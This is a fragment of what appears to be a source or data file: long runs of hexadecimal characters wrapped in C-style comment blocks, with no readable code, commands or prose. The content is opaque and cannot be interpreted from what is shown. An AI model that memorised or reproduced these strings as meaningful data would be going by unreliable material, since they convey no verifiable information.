3dd75d467f2efdbfa6547d281536ea54d732b2e34c3b0b8efe581191ec8f9f2eb60ae922f7e6b9341cf868e47090474b916e43cf45c4a2cd270d7c90dbdacc960c5cbc80583931d1ce7b9f4bf91c860c8b26d162adfe04232998a2d7d90e55f1f9a60c990ed7b9f3ab8998cfab395a37e5157c3fefc076e30cc2fd42b7ced6e660cdff6092d8ebf7525a9034ed37fcf34219aae6d589812bdfde8c1c5c1ed5a807eabe93172936f857d6397efc585394313320e0319c222248421b3829c8d6c50e2a2b7005f8a67f378327288aa266596bc4435725ad92ccb614340b7a297f09216c116399ecc8c68738d5614a6cc43b051703d83f81356606001855209ea93189c350adeb1bedd51bd8b08ab7e9c111b04958ddd8d0231f51ab370c080e82b5e1101a46df19c1a3eeda7e1147a477372fcf3cee1843838a390d9766dc8e78b2b11419c1f1b864e98884f876e1f8ff254ab41dde9aae52d67f290c6e1ecf79c57a717ac2e01fa39d766a907be6a88e3589816fd1b547230f80797a52b61ef6e8a7550bd578baf4db3909dc7ba2c67cdb74a1df62a06f556565f468e7d76530a1e8af73fc18b4babbbbe5951c9ef6bacb9cd542f9ee90d5376e015dcd571b2b2e6c39df67ee306ce1c9a258ea640176045637e6ec98191215e1aab79b4fdd08adf5dded33cd5c8*/
/*77279fe647df145f75b8df357f57a6f3613439e66f9f2e9f1338023d933c23b5f9e5f3a10cafc950b15d6d246c4d9488b3362686ac97455ff991b926325c74ae95c06bbd79a6eebe772c8596c95fa44611aa9676b24c0b54db8ae606f986d421e29565498fa325233153194f15eb806a88cf5f4a6e08e01efeea3c7e4f71ab62acfb00cfebaa7434cda459f834606618108faefc0212cf2911a239f8251a36eb271df0dc03e68f062e8b35b1cba78867337137373e160fde2860f763a0d128167316eb62bbc1612a057fbdf0696511c016c69b14ccf8916e6705e3678518f8df1c119ed978225858bc7a70d19f93d28f1a141ff14fd6b6a624624217a1af423a3d5de5449f2ea3af98d6fb1b7fa6a6b550894e1e1a6b589e999381f1c0b5be0c97806ae7d3bd9bd5e3dbc73a689d7331b6802f57da3bed2ccdb3b50dd926596966f72de86d20ffe946ba98198106e3f65506fe1fc3414b320bfcd4a9682de9d39db6221445fbe655bfaf8601599a734722f24cc5f5e15f2d109357954e639e8c3a7372153d94686f8fa58eba15ae4ea3a33fcbd84dad8e3c699874030ce5a37cc78e30f63010335390a18fedf8ce4e38ba231b2ed83b220cc873f6e33613d7c19e72ac26d5ab8e7dd520f77ec73d2866ac2816eff09c099703d2ed656069902e2921038d4d24e5a7045dfad6a5402bd7e09059f44a323055bae3b994985686a2499abdfe2d11babbade1c09d8c7dfaa8ca37c94bbe3e2b069e67bf7950f23cc636b4d3891b5b0b6cdad093acb472a58dfb4173593867ddcbd7d558a6eccbf922a655a75a9e7c75cfce5b62acf369b560b8db28fbfd676853273d05c1ef7bc472d87f0f0d8e21ab6a906596b2b3d1892e73d6297b27fb10175390ce019910e288e8cac786f4fe2e4e1398bb7ee739b8fe29499888cf77402cfe20980b4eb491d588331ebb7252ab9dc3d9f870d1dc6212b87eb8c81c59cad69398acb0dfbe9cf1bcf634b6346f811d65ff90384a9bacc2631fb25c54466fe61725a52f6d6eaa2c7caad7849d295be767635295123fce4ef96adb26ad1c9a7dffa0ae092382e9c097cc6aa34ed8c5b1319f75791f20fada96e34ef67622f2832f37cd6953b0771385952631aa4d7e007c9775ab83914850449353cac0c15032679fb5f1d9a439e1519df16405a3e446f0512588c52869a8f50509e527d3d0a003e3a0dee5700d454d036562501ccf6abef66935ba9fac2433537873157be24e65e797bc956bfae1be5c54b9ed04374e9b8f8bcbec2bcabb18b7239ee3a6f3bf0c18a647550070f3cd771f7bcd15e83b903f527f491794ecaf9325284f2ac877dd5f6595586158d4a706770bfe0ff4e8e3030e96ac9fdc6110e13ab3a91de6e4f38e61edc17359bf3e183e15e686b7404639be437a1cc4ab1ba164c3d900477759fd54c286aa142d5e5dd5d196e5352d45e69dbedc496bdd6c8702f68d0d6b4d94133c2102fa59e559d0aa1b84248669447c9b27d767d4c094ce029662d314bb77929816c5994803976cf5a577d9d83a8d5ba7d3fb837dcdf18ce6c989f3424cd73e5cf319e07258f824ada973e0edf2a0db1b73ef908434d74cbbe612b7240199e07e2cacd06d890849c1a74a1d6167d420e8e18d7a01fc7579119f5e53075bfd26dce4d27489dd41938c74925e17b5f829a27d7be36acf9742e87cff81b100a84c50edf84c25274afe6a9a4bd1c61e09d56f159ddb7cae0b652901d222fa2db82adf0eca011a23af40fdfdfaad2e8bf261960b9bf8e9f65a658a32bb72664ca826b51e155857cb79eeb999a28ca038d4717f0d3f3b818947d9603ff1e98c4f97b3da8b1c39a6abb6929e1324c2ae474903943a0b690fa87ccef5d07374f2136c5a39e042cd80b8d846d4f09e935173188f5461cd69ca55557781891d21222513f049ce44fe22c8c18fe0c2f42f81585a05dfb6b4ff5b5f5bcdd23caa68e4cb139997a5d5ba9b990f669a5af8836c424d0bed745b2c95aedb411c39a69674cc8007905fa4cae76a0c287cf91a96869a616c925c65ad46b2d4bf035ca239cb98c18c676c9f0cde2c77f6e6e3e05640eac12908ad38d91f26cef6fac3bf6804a193ea9abed9071ef327eb2ea70b649df5bf4d086a88c73734a7df4951b79514771f8cdf79a71e5033b4324eb8535f3182bcda8c1a563fd7a6063089c2dc197131bcd30e2ff3958753324ffcaf85db78f4c38f4f36cf054c8898a01ca6d26ba51358a539f701aa12db5008926032f7583f13051d727c659cef8566f7ac8bc1a847301845c0a2cfb50e23e7c47c8f5ab93997dc5aab930c04a74fedc1fcb7c3d106d27a3f44f0c6cd2fedee504a88261e3135fdaee2a119f02a795c867806461c0808d6114357033f9ddb06cd81d6752409e09c9aba7ba7972bc357b5b4bd0e69a3a261d1fb4d0fb7cc24b2836c2108b54fac327a8cffc4f27124001a72314ff9abe38c33d53dab371efcc7f39ce0d11093d5befae9e7d277e7f52f60c0ccbbbd1154d41f0a37efc2234d857635c269168ea318a4749c52454eca9d1838d36b8b394e79cbbe95892d5e3db62524b44e121a73ffd0a645183eeb7a47f41ba3de6fdd62dd52a86b149c5607c061a946793ec61d289d74f840b13cadd9b9faa2e84f3dd49115f2f60bfd387b5d7e9305a803bb761738483f1348950f950f2bb0219b19438b2c0c9e41ad2bb06924781fdd91047cdb01c09ea00e7bc51ac02ce058625b717dbdc14f08164000a98450c60e93f39468f5e44d40f5b661125702f730bfde4f8190a1ac655e03690a60089acbe03586b0af47f1fe7ebb*/
/*d745b82b84478b547cd62bf0a030423118fdaefbd7294c0f49a50d1252e45b088c288347ceeef96b5841b16108a455a701f924106eba24486c992adf41821a3d0b07baa0e0c162ddbe90436bf4c2ae39ca2e555cfa6658e491891e4030c1ce858a3404a9f9b06cd8871131d4ea2b285937394deb85f2e5cddcaf10e28dc6c350901f87bd797c7559c3fdce5f7b62eafb161ce92c6ccdd8ee5f20432c0c5c380f74424027731090062b38695ed521c5b91333c70c5253f35ca315a819abb0b1cf7e6ebf89729b78906f6d6c0a80bda7d7c4c6c64ab03f76f7298fbd2dae785dc1c332daa70aa18858bfdb8b3bad7d3d7e9dc4f1b482d9fa7c6ca7fc546c62a8b24eacc1181566d6c40276923275f9f63e2ce9b28864c53a7f98d0d959ce1c8f7e1ea21030865cdfdb4b8f24edf087758b66323a0e4452b5eef37fc461904c814badb4784aac122f6dd19a689fd33f1a99678e7c5381211e1d65af79677108443437559aa0c8c864da1b4bfa25b6fa93414d8033e6c8ee3535c275ea5a6e312d829769ab8cd30109be50e9a1766d64a14dccd4fa37ec7886e46f28da927b79a7ea75982b5073d5191c406bee1752b1185b65e32662f5a87e1f02bff9f3fac89cde83b6278ee259b23a6bfacedf7ba66d13e04de3a7f098cb4a102edca4ffb8801bdc746e358d793e47d40a52cc23134d6c3b3e4ed52464d57a15336d892751f72fedf3c256e33928ca23e7395b0419f48b66064ec9d45ebffef993b48df0333041fe71b29833a1881496e25ce896d31dba10a22485cebc2c4dd0a0484fa8af0aff905711470b95dfc5d48f6437f45f9ece21daf1622fc29ee0ad13cc58df2bc8ae542c4ad36ef54f088725cf2cf583f1a48ac494d160ace895fd478448333940903e0ef167661cd2c00bed952e0a469a997e78e4c64f693e287fac1b53225b31fcebbfab11a67396856e0e64e97d72ef1984383ea277aee778996e8f9cb90d4c78325e29944adf218d17f4349b067f378e4203783932f60c90efb81b4611357ad87e1c2c3652903baeda3a6bd5b7097ed328f3d8e3cef688a326e32a55f63d5c6490d6758001c6257c4d14bef8b8de1a8eb43c427839f1e1244b97898a39f518114b45f3aea1e9ebf353f4354c4109dbd3b90cd3f2691401a65dd22fdb771585f016807ae605ee6eb4ce0c236484ece538c0aa0365bc8e8ca13315f7b788b3399eacd7f4e0fa7d349b5d168701ddd133f0891e588afeb8742a8423f8d89be52bb3c97908f1c8bb65bc724363d4493b29b09f716ef966c6e6def217c461c0640a55896a94d69f007b6686038c54fd5e5a69a3c3dda3b7546064278eea1f17f35e403040ddb23fb558c59a39c9389ebd286b819e14df8e6b1107efe5f05b7083041081cca34723419db0e98ab1f056484b0475ab7154c65f9626f3ee889e4f8273ed5cffbad75c8822b64bc5f275db8c509b9b7b8217560b7b3fa0792b7a284f86274863972564a06fd5a17bb7d909412683f24e5515685c878175a77354ab5ceab586980f1070d8375130e6aecdf0055361a9c50581f4ad126c2b990bb24eed366f38dfdefaba18d899672907819d63c6489a95c8e0a331b75b7f2e4cd829d9870bdcc3ee640fec8c815592e5489ca65c091d8d0391716f394602f24d6bb061ad524656c159c20acb0f100a23cc17f0c733760f5c040c1da4a3bc346bfc932a7f662ae817cce88a43d6accbd3deb152f36d018cdd08d6e127a507912ac44d055c85347260a85b12d9e57936306db74f8319a276260625c89a4a601172e49b93660733b2256116aff21bcdb9eed369991b2c6cabcef671d7a33855bd8dd3ef1977ce662075da44819fbd2ff65ac077a85dec67dfc5d6d4007f1aa257e38e601aa9b7cf0f068b459749b24fefeeca9d8e557e5ba409a06560560bedca2fd5bf6402a5ff38418b478ff972f7dfc50648617a607ddc63ef22b379375c6f5ebf1bcbf21ec11196267ad700aa60862653de8ef294b7e17ddcf28cb89768c3e9fd73d0d48e58c8333358ec680e6c6a301acf2c4f2d4347cc1386e2781d8e8b202040a2c5fa87f6810d875201ba89119597c0c1281f9d3cf04670535c20ac47b5aa8a2cc5ccae55f8e4a19540cbf184faa161b2def165647d8e4cca1afdc079fb98fe3bf350ed9a4a814cf2828e76a12425fd80a1a97cf87e327e429d34805a42c22b3e320ffe8f618e964ec0b1323f774d0472af056fa2a5bb2a0de4195cbddef0376f89c7d36450a6850e52bfcbd80fac45e92d338ac2bc2407049aa0edc0d6586932701801b9321738ea441d4ac04f743ec376c3f69a5c15617120d4f315fc705c0ed3f286531350180cc556aee5f9ccbc748dccb8a29a13865b382b08f683632208538fcb3abc51e31fbf0213f36aa3712e2e1f4d20ede3ba5ba7d710d3b20c56ac46411f217b33d7c6df66f35279273862dc592e8c28bf6fb045ee06686822f460e7dd5afb5711c52ca99a53b138829efb46d0830c42066f7c09d26a40f70ed70345f29e652b9159a1f437b628612d8f40a7d392f86a756f8fccfcd9b64a275c851e468e60b0e75458e893befa94abeb4561cfd9d404228af2cb847fd8e5fabc30fdef08a9f683fc48fe68d8279b9884748cf204b0bf058b18c5ad4260966e21b074014e01b2abaa3e0376dae54d460f8519f2da7aa6f5f42729462c197cde1c6445ae947f55ee91a75ae1ed67e4f8ebd242b17f7605b19328ba2324cb7c5d8ea675c54ecce7f266dfc61a6d5f05ca3bda767c31fe764028eef13fffabd224ce2ea9f5ec1651943b87009e6205f4a4e0341e5b*/
/*c30a43b559e629b6ea32a6b062c02cf433bb5e4b6a6769f1704dc9b32b0a00458a5bdfd421d70cbe11c24cae7dd710abbf8abd4a89cafe79359368157bc76cdd4f00b2fa101540420d5e40236fece7ccc497f22b471d821f9a95765245100b8a76334203b3243ba39e1d3e132f6447a64c7e858f3add1177a0db6bba7fec89cb6bfd51951e71ad812a7e89d57c609a334dec787a42c3f691c87be8dcc5d56d70bd36ec6e95f0ab7189ac2296fe19d10e9a95840983ab8648ad06e09782ce9ce12fcfb4dd0316df78096a5014e0c824aa7a0943d1c2ee698611b32f5985ebe328f286eae3f412fb60ae046ae1865f8b64e4fbe29718c3e7b35fcae6423b2b1adda7cb1a24e7893aa4a07f26650046fb3bc4c969a27971d282b4349b15fc5b49703474214127dc1d2e47fe3a68f9d7a1303f18ac209bf8863a9719e55e7a7ff31c80e8170fb65e42bd5bed9920679c0d9aadfe4c3120287a069664e22ea9c89f1f8270f7c53d0f6c07785e788a5489730fe54975ec91a3917ba1e796be81d5a0ee6fb9a3c2483712e28fefcee73df1b98304f630e9f15b33862ea1a6dc85ae513f171a559962a28376b3dc02c3b74048ca89cd3906882fee0aac83c1252c72d1a0eaa3b4b8191f4c08f1b90f95bf400892d0222e8bb2afb2821d3bfcbdfcef0925c9112a0f0dbae2cfd20c6fd3e279102422596c454b179b05c4759b999b20a255ad64514fc1b3216708af6bec2992cf88649bc4305c51e1db3bcb782cd7e462cf0d8070df469fb87b15f1f94cb35f653dbc09017c5f7c8d83e102ad4e74bdb8e09725f950f192bae7258d97fcbab73a7deb869e7f7b9b438bcf4547e54f606d1751d869dcf9210def45bbd7ee880a6b7b7092a43c59ee0eb776e827e5cef8a9dd09e71f387e72dca0573dad4cb7b2dc8bcc4a998ad50faf7424eacc8ba4acb21826845977fe6636826ad4b635edc762b9c7db640a4845f64bbb9c12a3de574e82776a7b9c4dc17fbd7fd3b2f5de61da389b8418e9e40fbcc4a5d11e2ed6104e018efe3ab13d6912a8848db24785ef088192e710e4b9847300b1b66f1176acb15bd7531fa739c9f8b14697cea7570cea7d08768318aa40c2a652938ea962c672bd0a75bf11617177646d469c5aaccf0cb7cb2a6bc19fc1fd49f3d067b5bd75fa63f74815b146aba8dc07d6b343ef6b08e13e3c1376de02761d6339bae1469656bb4ae72cc49d5e91773211483812e1a2b4985c9562fc67f3da1dcbc9bdbe66f4ba0ad10b3d09655165d216519bbad3d9a01b008fe4212f719600d2c66ca02632d3c7c7e9e503d97356835bd89183ae3ea7e69caacce452d82420b5ecaceed3cec4041cf1426d86e90b730c2a1e3a26ffe26e27bbc951b73acc7f10c33296e72e7b0b5d954c6a6f76b0f44dbd9695c09995bc858394fe5b2cc1a63302c91a873b7ab76f44b1915e212dad6fa6ba8b35a19981a8d2936ae46481cc4908c9707dfa239bdf9f7e4072da67e7ea3c7ec5a6a5d506d4a40ef2e035bfe83675aab392bae35c8df42ceb883a6bea7f0198b8724f7f7baf7176ce1ae567687b2a9fc585fca986292f87159c15405d55cdcd6f971c7642b606fb208cf63bbadfc85fa01b91e2fa91fcdc0d1b3ec0128c2eada8e0d9e57e49f3efde59767c4da4e6334b2d44cddf1e24f99411c5e502559d0ba627a534cb2f8f6a99af0a2a96daa0e58bc75af32fd1eac3a39d9b83517a77b762f781f1d30c7774f68b14931e5aacf41db1fae1a1068b14db4ea2ec74c113e885b53123f0c1436530d5888b07dad8fcd50df2114b403d103cc24efea3755143efcaeaa92c3f80bc307f4770d1a99f50402e2f0df953df6986b1e8462b9e60092efd7c10d9970f9daa9cdfb81d3b22967654b69426a61cf122ae02bfb906dba15200a67b5b1656c8707e22a9a0df63543a84bf83331a2c8253d8a6955d14113469324d780d6f1be69856ba7527f9ca502962474ad067b3516c5afb6ce4acf5cd38054b58235bcec1cfd1767bd67e6661432c5c2b7e11608384027e91fb3c44919b7ac882ba2844a2feb5606839517497dc55bcc0108370f6f6b5c58b80d114f089ea0a2f009dde040f59689a154e11db9ba2bd71ce68914f6eb233f81b74109c5add0cae9c5c0027cd1e7b416c7073b8da3342302baf96a3ce09c611e850eff455c0268ea205837ebf8642a9e1da6ca6cd54351b5bb9ebac06211324be460f1c0ecf6678eb2378e3728b1aa9d94d3f097f4121562ca5ab7c4fcf4c315152613c282b306e4fd7cf48de3647a1e38c5a907861de9f16e864a09698588d52e02b5f8c00ee2df318bb68aa994dcdf61337da1aa8d10984859e6359444d046fdaa3ca9d18e65e1c4f0422a749f082e31af0b16ef23e7a32cde0cce7e6362b0614e469bde5c476479b51603c63fdaab36039fa1272def4d8e9400581a1572ee1028aa98c1656acf82d5c861a44524c9721be3b5ca3316cf19cae7a3922bb50aa9d5b0a5553329c27dd07c6059228712e9f7e04257d4f8903f8239701b2b0d8f8e006ef91b3e628afe2b765c9eb2279ba2da26c2ffcbef1b9b5264c01a9d00689b3c9eeeeb6e9237bcbddab3906e51f271addd8be9012d6f8252b4dd8e5dbaff0debb253a4fe765bef994a686abb0e1414e45c7fd7a57b33b6682494d3167549dfd49bb6ece60b8fdf0c9696430035b73eafaa930ae5b8329ae44e6040252a6285b105d64666fd2e534666f5a790bc143fd0113f5aa65a2d723e3963fe5a235f9af7f9f7e1f3998c8148de9127707b51e915df60cfc0c75edb1c75de03aabb3b7c2636365fa8ac3*/
/*9b5d437aad67eb5459aea3beb96602b88c0c4c3f884bca377200e1a061780ab361fd6c4283adddf176eb9cd49ca0758df6d1dbfd14256553fe740c8c4e48184695d8326478a58f11b49b468bc94208f497f91dbe4fb41f1ae81d9ee02622f2d3cd2be812da5fefab7e14f4149cd42e71372fd79f89117f68754599ce81a41613ed93231e0267ac389e8624edaed833173a867b36e666285d8045e39c22eceded6d640652fb5284a84a344f61682cd0b0e7030f60cd322a37164dd67bf31b4bf2fadbf16e0b46bd129de48eaf546835e76704cccd5334d520dfe554c8c08432e6187ea75ec0e36d041e415989c43b3b78a8174171ab77b3add88d9413eb78d4f68ddd2e12c07c32d311591f0fc121450c23c0e2be6afd87cc40056ad49fc6f282d4af15e006cc0c5c36723d9d34f72e096f8cb4c905834ed87ee249d80fc3c0b272076bb2124d2007c3484f3f7c08fd1740b8bd68c19782e4dd01fcb50cb76b7a1bad0a54badaf7e2960a970efeae5a7236a284db100276f29b75d75c15d1dfb1305363ad25a2904c65279c711a41143c04a0088e8d644426f338acd4415fe477c8e8d6cc925633fbd168772cead598bd5b8c6d4d3ee5ebc5fbb06cbf65103a721d5ead986a6707f182d5039b656987b450c50375bc3cbaf9ff64444c1962c0ba824c8abf6eb57c53735de1f90aef5b2881f063491a45cc7fd5a03d51192101f695c735c7b29fde18cbcf53755a57e52145f9646b6c6c2477dc41f57869a065f1d9ffa53ff9ee175b710eae81dff579a7b7dbc8100b2148ae25a1a61fa44f9b56a8e8c9ac68d0af6a168709dc0e0ed54ddf31a827a426070f3da1a39b8ccd26b84e80cb8d170c2931e4aa54a339b42ad1ae7fc70cddc67f5a081cd8e0ee0e7d8c2ee2544ed3ce8c673e2a03af92dfaf63b1cc1f043552ae28de49f3e75bff4339ce385e00d8419b65e5f243c0d14306b69e98d484cae82954ac7f7d8d1f12936b9408646940f603303c39a7bd7aa6d639896ff2149d46982ecfea6abfd9457e243e742ca77d3407c4cd79ef45500fa22a0205600f2ae459458011afd2de06a680d6863dbfe2a68f12ee989736a4474e3fb83bef1f516976f83a720a6b443165ab18b30322abbf7769181051b2ecb4bd46f237e6eff52ec8e297da24493f7d35db275a537805eea85545444121eb7a9f58f4bf32605e3c5f007745d14c449091379d6b8666118971acedc3b945764b5a8191df9c254f0699a85ab4e6f9d70ad89be2fc200fa21f336187fb5bd8b8a3cdac7f38c491621a4b37b354371b96258f93e7d62756ffdb77457a3507b655dc2ac264f3141024a9f11d1e9f36b50524d7ef079cede7c330f953a354557ccb7fc359dc3dbd4a162b2656a3191b807473e37905d2372c5547af838e07ddc1f7fc7b022209c21c7f8be004ed62bd37c67cae7a2f90176506cb190b1f13e03a05863397d6075bd6e8741934f3dee7abe09cd264f9ba6de6228d7d583da6928a4c43fdbef7f10eb7f1fd7a6c0105d8f57f8a00c85d193f28296fedd42506cdc761b6f8e86af72b6054120ab3a91e4f9ada150cf683a3419cbf9c19906520e9affbdc443f6bb6d2b302962f3670bbfd65c389463045a643f044987aa1251dd1beab3e2f5f86f17c42a332524ad846e0c96d5484661431e346f14a5921c840da6974b791371750160bc2945a37fcd0aa2b1b508161efa08ca402f671310b09668af8a7f26479221ecce8dd2dca86187cb7b6a25e0816227ecd03217f8bf5d96b0c9e3e35bae306c338dfb1b64fa2bb0184ce6174134d65372c2546c4ca728bc45b6244ebae1a047df14c663c0b2f8e637f841a38d7e3304e3767e17d4c7ffed0163e507a73564801be877b28472b2a85fe69c1ebb99ae048e2c821b5128718542e63992a2e30868f04b1c3207d94afab9ea61809325455c538910dee6449954971a1bfa26cea4ff5481b74a4dfcf875601d8c2972f4fe8217804cb8719f76b65d0df9f80e95f3090a47abd413e497e63fa01fb1cfc71a51a957112609d6b897ed36a8057b66eae0fccf5c7c3f378c15dc3cb6759c2b4052c2b052a3c6eb12beffe3d3f00d8db20807c366ea402d8f84b81972c89565f08e21e5cddcb0916b646b98d4c7baff6696957142400349a10234fcdb61121b7c2254057923b665fe4e040768273b3fa84e4ff64b746fee7c1c5ddcdca94de06a1b9ca0f12e39270687fc90d585343485b41017f99a948084f34d6edbd0444626b755377335ba70fd30f3018e66ae573e44d9dc726ca2b0824effb8b355922afd7c9c2b39535134fa696f94d967a526eb328933ad62b50f4ddcfba7b70205f71c0423c957b91743874d6416b9928ce0c9332fea4fce5ebd294d76e8a421271f10a23a48b011192cbb5074d980186fff12cd47fb91d55976530bbee9b84fc9cb7cd7a84e7f244a3f540b840c034530c1af33a6540a78aab59043ee1879beaf1e8ae02315c0e51b5b9cadfaa1e4b0e498a47f8b6a1eec95f7f8251b0cc42373f8e1ef6fe7b0f336c6a0d78e8fc17db043d7ca004dfe8c52a1a77068a19ca012a72a96182582b81f7b29feb276803adafbff9804f805161552f2c25a75408ad1e30f08ce906af19b097c045b0983e7b68cda3fed1d5f71fcc9dd15743a0344fdb0d178127899bf6f89f12aed07c439f035f9cee386eb11decfbeae8e1e5b4f1776ecf4f116d2667b7c6ec237909ca4eafb6c62d068d434d199cfa290ca249318b04b37483843e2f8c446ab1d247790ed281b2db048410450323925034ad162de850d286fe0f3e365df8a2c00014fd4f0b*/
/*ef907b731871f509ad0a111db36b73835453436ae47e4134ab9f5191825a48400d7323298c2e78769eccc507f1146559f8c04f8d41890a357ebd3863173b99af1441b74366239b7e912c3050afeb347a8343a15f56b043f05a3dbae9b2d28b39ce8e0e0eaf76359db5b2ef3c0552ea92164c99d41c18fc8a4c556b81faf2767004419d5328ab8f662473d0b3e9cb68e7d2d4f7788bfd01134f245feb8215c80ae49dbf003b0f765d0006f0712026e6f275a262ce5cbe6a8d0da0f2fb1a77929e3ac78df76991a9302a827d101ee7100037eca634d5b9b78d0aae7f0ac48e68c8cf491adccf53e80444340e9d088f7a63ed024c6094d5f02a7fd1cb095f1e69212aa86982b0d84c147e6eaaf8f12f197130c1c3b04b01463a5d082f203b3079f2c78874345f0efae957500b514e8b8b891cb9b56108f6f3de95e3c32f2c628726818c9793a08f91bc2c0b1722791eeb35109596c49223a85599a7a26e4580a5f2a0a0758d89a94b4e54a27ed4eb9193a7c2c1ddd46a6bc7a4530a14f4940f59b62d6ae6fe216418f3256131504d4d11be39854400f4474799893e1c16c31c1ccc14504ac48a238d80ab78bd181deca5d1a1c260e2ab15c81ea89c1a0e90edeb5bb5f7cba079cb6f9c236df09336b11678a075de1bf93523b68a9c6acc33ddfe8c678396fe77e55e0ff65f5ac97338bf86a053a883a789bf739c059be165971f370496737ed9dcfc4594bfc468d64c5d8db3820460a7f3f5090f362d677bddcffdb6ea647a687a02e99ef7ac8aaf3ca5516dac907b61f3ff9aba238a2f2bcf723d8636a2f0f5f0c6a36f7f91a61bbae2094781c0cf307119d7f2f033bf05b3b338e277773108d8a457ee5003b27deb74aea0c005dd24f7650285e803a4dedd2f5c6d5ad6dd6573c26b2458cd62fe96e693c0a312e7080bf2f6c4abe2c58db9490f1fa4efa13a3ee149b05f59ccc7cc20f8c7a28547b313b7755dcd8ba1f5506b4430ed480bb2b5faf240dd3b21c33ca4b19492128a8409d9526092e36a0b2c424a0f29736b3bf1d6112fefe3d623c40e01441a2c3edc5baa6c422a7cf837b4f4dd30687a9123e2d587c87cf187dd44a7fd8b44b88728324b528bd7d4818c753d91c4df3ca418c750ccbae623f233faea3b21901b1f12bd5577343a1392117d6e1e506f318b256a0bafe5d21315accdb15e0fe25f9b8e5f7bfa9a523f3f1a69e0302840b2e7f1bb2e774f7c322a8059f68fa47395dd7df45e54841e04889b3dfdce8e8666349f2eab333e7d8242de892b6cfba52342bb49acfe8e65f115ac0f332f69d08df8b04218c8e32b22bf0467ac1dfe4c7c9ab68ec0845c2dd67ac5984f860af5e4f1b2197f9597a2cb5b70b81709ad45cd945f5fbbf3b86bcdaa485d1a2c912608e0d57c5e388dc29e2ad20d95d51e56ef9ca19425971bfd0a4e3d7dbee21c68145cdd8030a47bb700a7dcf13229271b23b43a5f6ba1ba9f11cfc5899acaae89008f862db7832fd72fe7140173f9b43da5c5892b4d27591e36824ac8c53a216356353ec95bb2bd50b6e9db257205b0fec04298f954dfe0dabc780a4611ef3c5745fa15a45ba66d03b6b3feb938e61e1276c76d128fc9d233c281ab9c74625606e1124e0dea900cd0d372e8987235a6ca7709e22f319868bd401cc0b5fe53f7f585d0b6e6cd8822a7c0533942a1a5f38fd176c894f9b75adea8f1190e94544b80af580d029e5cebf8f309a156f59950c59ac087dec1f0dd96b01672a39846ec6f7aac6468bab2554cf40404c8c23f77cc5b79670a24de0b9f9ec6b366e262c7037a8919fa58b0df208f314d72bec866bdd298eb7ad55c9efccef81e2c7401d98d834394993497731f28c503013a7bb8d4b563d8fe63b2c238cc68b8df630de2a45d2ea3ba4b892a22aebbd913a0ee15155a9b4162adbc872c0dcbf30b366bfd7461b1113b528af54a09ec8e7053d0aa3566f869cdb86001d3324e25e35d0cac80674388618477f85aab2d9968b9d1d9c9fb9fedf932689e83b7173f5bb58db111a503a6c4c7bd982686caf08ca7d73deff578183f16acc5fcb97ec7eb5e11f9956a8e4becfa3df450c29c8ce4d8a5be4de476100b7b90612755185f2bfc1bf0875b3bc207f4269cdf54b1aaef034a9d8f393a1c8bc5370a4cae444f49bd24123a4444b27b004baa7107e23784c8de62fbee71f2c57f4fc328b454578b4000d0cad57e4e2958b659b8f3555b77ffd9cb67596f076b7b7e432c29bf7cd77895f67b74716c7e1ba59fb36beffe5d2eb1b8cb2cb87b75bfdc1293e7ad5f62dddf8809d480072681db6ca91ab7f202d93f8ad333805d08b3037b5f749942aee3aa45ce956dae2ff70152e3619a98c3d68c9c8ce7fcee46a2b11f12424da4e824631bb3d8d63c981f8000080e99ce9e02b2b312006ac0b437c1806aeaf7100d751460cf4ba781640bd9d3293640e25a8a0fca6f67f3e998c560e8c833279d7317375fc067bef072d3e4e836e8bd7b5c98ce66c171e1df7c2d75eac9070b56add7e7d78dfed13a264b58862038ddd6832f459c8fa4ebdf1e1efd5d04b55dc073c0945bc7b4bb7fb7a763220beb79f80d2289ffba1373acfd41c3fbde4be6f147aba0a32c0578dcd33b0804fd945a5b8c21af109db5be5731af6ac395c1587dd7e371504c0c0686b8c87454ccd725c8a0a9fef8f0a4efb51ff830d018d49a5bc23a82572ed2ceab2c5ff4cf2c6ad4430936ab35998525027338bb68f8a22ba35671deeb2c4e55519649ef864b861dd36e159a771257b5fee3a52b8dd2972c49e3dd2b61b6d8c97612989f62ed053eb10b863b*/
/*414c5ea0bd58e45729d4463e7db7e18dac1fb8bffcf357e85f22f847b63fc1da0fe3223432690bb134746c65cf738b1f51d182c853cd9fd4dc6c44b761ac672fe9b5fcb3a61e4753d28ee3c22070ebd44aab4e238121b746a89c8aa836bd615d7c1c34b61920b6ec4bf30307a129b311d37b9785fcdcffeea8a1926c3766c3a7e678b1e5534c362628f450ca71e233be464a243b10acccb4f6a44c1809a2d4cb89332ed0e674e2bc00dad35af26bafdce4058770e7496830c2fc80a74c708565d57bc415b93d2821b1d6212d0976114c91fc26aa9a29328b1d0aacf906268785d473400d6ba2c5d18d6fc2297ebb3361e35884902129057be3c51d9487186d3a4d0e81466e4174f64f2e138a51d0b30e205ece2180b7fba7bd59db3642dc53246a0a25d31cb5df37d8b82f330838999a7b42cc149da87eab3ae3428eb35773d44c26b4f1ffcca85177a4c4c10b757712f7d1a78442d0cf80d5e968e490b1924a79070d9f03247cba9727572dc35ee3e6138d8dacc1b92e09553425f2635d89df41f53da3366083e61d70e288c9b566add09269a7359876186951c747052f04b2ff939521685b9fcafa43e7b41119d551651c27d90ae82592c58f18b93027651e030c70638adb22c2f29bd72f04dfcfcfd9f591d36133a8b75da30738c0a53687eeffeeb5d6629254921a5cecc4a0a916de6a6c3cd12d5e15626fbad629be6c496a8d6fce45b11b3c4ac480dd88c372368072c43f09271f75eac18ea0ff97b0bbfef878022ddea5efff87a5847d773413450c03855253fb09ed3de69c95774856fd2f64e60ec980d86fa54af6571ce420beeafeeaf2efccf48774e43ab8edb5a5be5753c3c8211cf6c5c6b42e8a534d2e7939958f131e6f52eec59e7f54f53e4bc2991a93c4db0ba920aec8950d8ee29e1a967d87c2f59f587aea3e20d8477c2a4508a4f963c3c1a63e6d1ca60865fe41ef6718907dce7558f98c594d106426cae77e08523635ba9d0cfa25202cfb0619d9bf638057312caaead24c16c857c424361a3815b2ae98449c3f3b28fea41cf3a9cea69711a4aaf21d8d1b983f704c06ec58f264629e365a142853bb0575bf3e5af6cab0377eca9b733898e6fb97e091cab384dcae0427f80e91ed028f5ef5d26ccccd75d3a64beb6ed9456d65e8a37374841dd7bd8980735c3889fbd532ba4107cf5870c7842c1ed08909c0e3a50a9b34566f230d413d048b8d0546e51a8cf99b90306103fb04d51afadd50afd1ac2a9c6e938ae3b22a38914a06ca1a445a38084bfb156815146368d5deb7aa08fb3b7f684356e67ffae5d2e7d16529bc9f2db507cebf454c6e129c1bb49871ec1a9044ab3245c259dd7be2a997ed38609280558be5aa3b89d4d732feaa9bd9d2c